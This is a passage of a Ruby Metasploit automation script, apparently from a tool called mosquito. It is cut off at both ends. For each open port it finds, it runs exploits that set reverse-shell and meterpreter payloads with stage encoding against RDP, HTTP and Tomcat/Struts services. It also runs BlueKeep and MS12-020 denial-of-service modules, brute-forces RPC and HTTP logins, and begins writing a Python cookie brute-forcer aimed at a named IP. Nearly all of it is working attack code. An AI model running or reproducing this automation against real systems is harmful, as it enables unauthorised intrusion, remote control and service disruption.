run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S mysql -R")
run_single("exploit")
run_single("jobs -K")
end
if xport =~ /3389/ or proto =~ /(rdp|ms-wbt-server)/i
print_warning("Remote Target port: 3389 rdp found")
print_good("Sellected: [4] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => auxiliary/scanner/rdp/ms12_020_check")
Rex::sleep(0.5)
run_single("use auxiliary/scanner/rdp/ms12_020_check")
run_single("set VERBOSE true")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 3389 -R")
run_single("exploit")
print_line("MODULE => auxiliary/scanner/rdp/cve_2019_0708_bluekeep")
Rex::sleep(0.5)
run_single("use auxiliary/scanner/rdp/cve_2019_0708_bluekeep")
run_single("set RDP_CLIENT_IP #{local_ip}")
run_single("set VERBOSE true")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 3389 -R")
run_single("exploit")
## Doser (DOS) rhosts ??
print "[?] Do you wish to Doser (DOS) target rhosts? (y/n):"
question = gets.chomp
if question == "y" or question == "Y"
print_line("MODULE => auxiliary/dos/windows/rdp/ms12_020_maxchannelids")
Rex::sleep(0.5)
run_single("use auxiliary/dos/windows/rdp/ms12_020_maxchannelids")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 3389 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => auxiliary/dos/windows/rdp/cve_2019_0708_bluekeep_dos")
Rex::sleep(0.5)
run_single("use auxiliary/dos/windows/rdp/cve_2019_0708_bluekeep_dos")
run_single("set RDP_CLIENT_IP #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 3389 -R")
run_single("exploit")
run_single("jobs -K")
end
end
## Metasploit service brute force module
if xport =~ /55553/ or proto =~ /msrpc/i
print_warning("Remote Target port: 55553 msrpc found")
print_good("Sellected: [1] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => auxiliary/scanner/msf/msf_rpc_login")
run_single("use auxiliary/scanner/msf/msf_rpc_login")
## Sellect mosquito wordlist or metasploit
unless (File.exist?("#{local}/bin/wordlists/rpc_default_userpasslist.txt"))
run_single("set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt")
else
run_single("set USERPASS_FILE #{local}/bin/wordlists/rpc_default_userpasslist.txt")
end
run_single("set STOP_ON_SUCCESS true")
run_single("set BRUTEFORCE_SPEED 5")
run_single("set VERBOSE true")
run_single("set THREADS 100")
print_line("")
run_single("services -c port -p 55553 -R")
run_single("exploit")
end
if proto =~ /http/i # xport =~ /80/ <-- gives error if port 8080 its prsesent
print_warning("Remote Target port: 80 http found")
print_good("Sellected: [8] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => auxiliary/scanner/http/http_header")
run_single("use auxiliary/scanner/http/http_header")
run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 80 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/multi/http/zpanel_information_disclosure_rce")
Rex::sleep(0.5)
run_single("use exploit/multi/http/zpanel_information_disclosure_rce")
run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set PAYLOAD php/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 80 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/multi/http/getsimplecms_unauth_code_exec") # new BETA
Rex::sleep(0.5)
run_single("use exploit/multi/http/getsimplecms_unauth_code_exec")
run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set PAYLOAD php/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 80 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/http/easyfilesharing_seh")
Rex::sleep(0.5)
run_single("use exploit/windows/http/easyfilesharing_seh")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set DynamicSehRecord true")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 80 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/http/rejetto_hfs_exec")
Rex::sleep(0.5)
run_single("use exploit/windows/http/rejetto_hfs_exec")
run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 80 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/http/ektron_xslt_exec_ws")
Rex::sleep(0.5)
run_single("use exploit/windows/http/ektron_xslt_exec_ws")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set StageEncoder x86/shikata_ga_nai")
run_single("set EnableStageEncoding true")
run_single("set LHOST #{local_ip}")
run_single("set HTTP_DELAY 15")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 80 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/http/dup_scout_enterprise_login_bof")
Rex::sleep(0.5)
run_single("use exploit/windows/http/dup_scout_enterprise_login_bof")
run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set StageEncoder x86/shikata_ga_nai")
run_single("set EnableStageEncoding true")
run_single("set LHOST #{local_ip}")
run_single("set HTTP_DELAY 15")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 80 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => auxiliary/scanner/http/http_login")
Rex::sleep(0.5)
run_single("use auxiliary/scanner/http/http_login")
run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 80")
print_line("")
run_single("services -c port -p 80 -R")
run_single("exploit")
end
if xport =~ /8080/ or proto =~ /http-proxy/i
print_warning("Remote Target port: 8080 http-proxy found")
print_good("Sellected: [4] modules for execution")
Rex::sleep(2.5)
print_line("MODULE => exploit/multi/http/tomcat_jsp_upload_bypass")
Rex::sleep(0.5)
run_single("use exploit/multi/http/tomcat_jsp_upload_bypass")
run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set PAYLOAD generic/shell_reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 8080 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/multi/http/struts2_namespace_ognl")
Rex::sleep(0.5)
run_single("use exploit/multi/http/struts2_namespace_ognl")
run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set PAYLOAD generic/shell_reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 8080 -R")
run_single("exploit")
run_single("jobs -K")
print_line("MODULE => exploit/windows/http/tomcat_cgi_cmdlineargs")
Rex::sleep(0.5)
run_single("use exploit/windows/http/tomcat_cgi_cmdlineargs")
run_single("set UserAgent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LHOST #{local_ip}")
run_single("set VERBOSE true")
print_line("")
run_single("services -c port -p 8080 -R")
run_single("exploit")
run_single("jobs -K")
## brute_force port 8080 service ?
print "[?] Run HTTP basic (cookie) auth brute force? (y/n):"
query = gets.chomp
if (query == "y" or query == "Y")
print "[?] INPUT RHOST TO BRUTE FORCE: "
brute_addr = gets.chomp
print "[?] INPUT RPORT (default:80|8080): "
brute_port = gets.chomp
print "[?] INPUT Auth Cookie name (passwd): "
cookie_name = gets.chomp
## Make Sure wordlist exist before writting exploit script
unless (File.exist?("#{local}/bin/wordlists/b64-auth-cookies.txt"))
print_error("[ERROR] DICT NOT FOUND: #{local}/bin/wordlists/b64-auth-cookies.txt")
print_warning("Aborting http-proxy-brute.py execution ..")
Rex::sleep(2.5)
else
## Counting number the of logins present in wordlist
count_lines = File.open("#{local}/bin/wordlists/b64-auth-cookies.txt") { |f| f.count }
print_warning("Dict: b64-auth-cookies.txt Logins: #{count_lines}")
Rex::sleep(1.5)
## Writting python exploit (RHOST: 45.32.87.101)
print_status("writting python brute force script ..")
Rex::sleep(1.5)
Exploit = File.open("http-proxy-brute.py", "w")
Exploit.write("#!/usr/bin/env python\n")
Exploit.write("##\n")
Exploit.write("# Name: http-proxy-brute.py\n")
Exploit.write("# Descri: HTTP basic (cookie) auth brute force\n")
Exploit.write("# Author: r00t-3xp10it (based on: @noobintheshell)\n")
Exploit.write("# Install: apt-get install python-pip && pip install requests\n")
Exploit.write("# Notes: HTTP basic cookie auth uses strings in raw or base64\n")
Exploit.write("##\n")
Exploit.write("\n")
Exploit.write("import time\n")
Exploit.write("import requests\n")
Exploit.write("from requests.exceptions import HTTPError\n")
Exploit.write("\n")
Exploit.write("## Variable Declarations\n")
Exploit.write("url = \"http://#{brute_addr}:#{brute_port}\"\n")
Exploit.write("wordlist = \"#{local}/bin/wordlists/b64-auth-cookies.txt\"\n")
Exploit.write("print \"Module: http-proxy-brute.py\"\n")
Exploit.write("print \"URL: http://#{brute_addr}:#{brute_port}\"\n")
Exploit.write("print \"Dict: b64-auth-cookies.txt\\n\"\n")
Exploit.write("time.sleep(1)\n")
Exploit.write("\n")
Exploit.write("## Make sure that RHOST responds\n")
Exploit.write("for xhost in ['http://#{brute_addr}:#{brute_port}']:\n")
Exploit.write(" try:\n")
Exploit.write(" response = requests.get(xhost)\n")
Exploit.write(" response.raise_for_status()\n")
Exploit.write(" except Exception as err:\n")
Exploit.write(" print (\"[-] #{brute_addr}:#{brute_port} - Failed To Establish A Connection ..\")\n")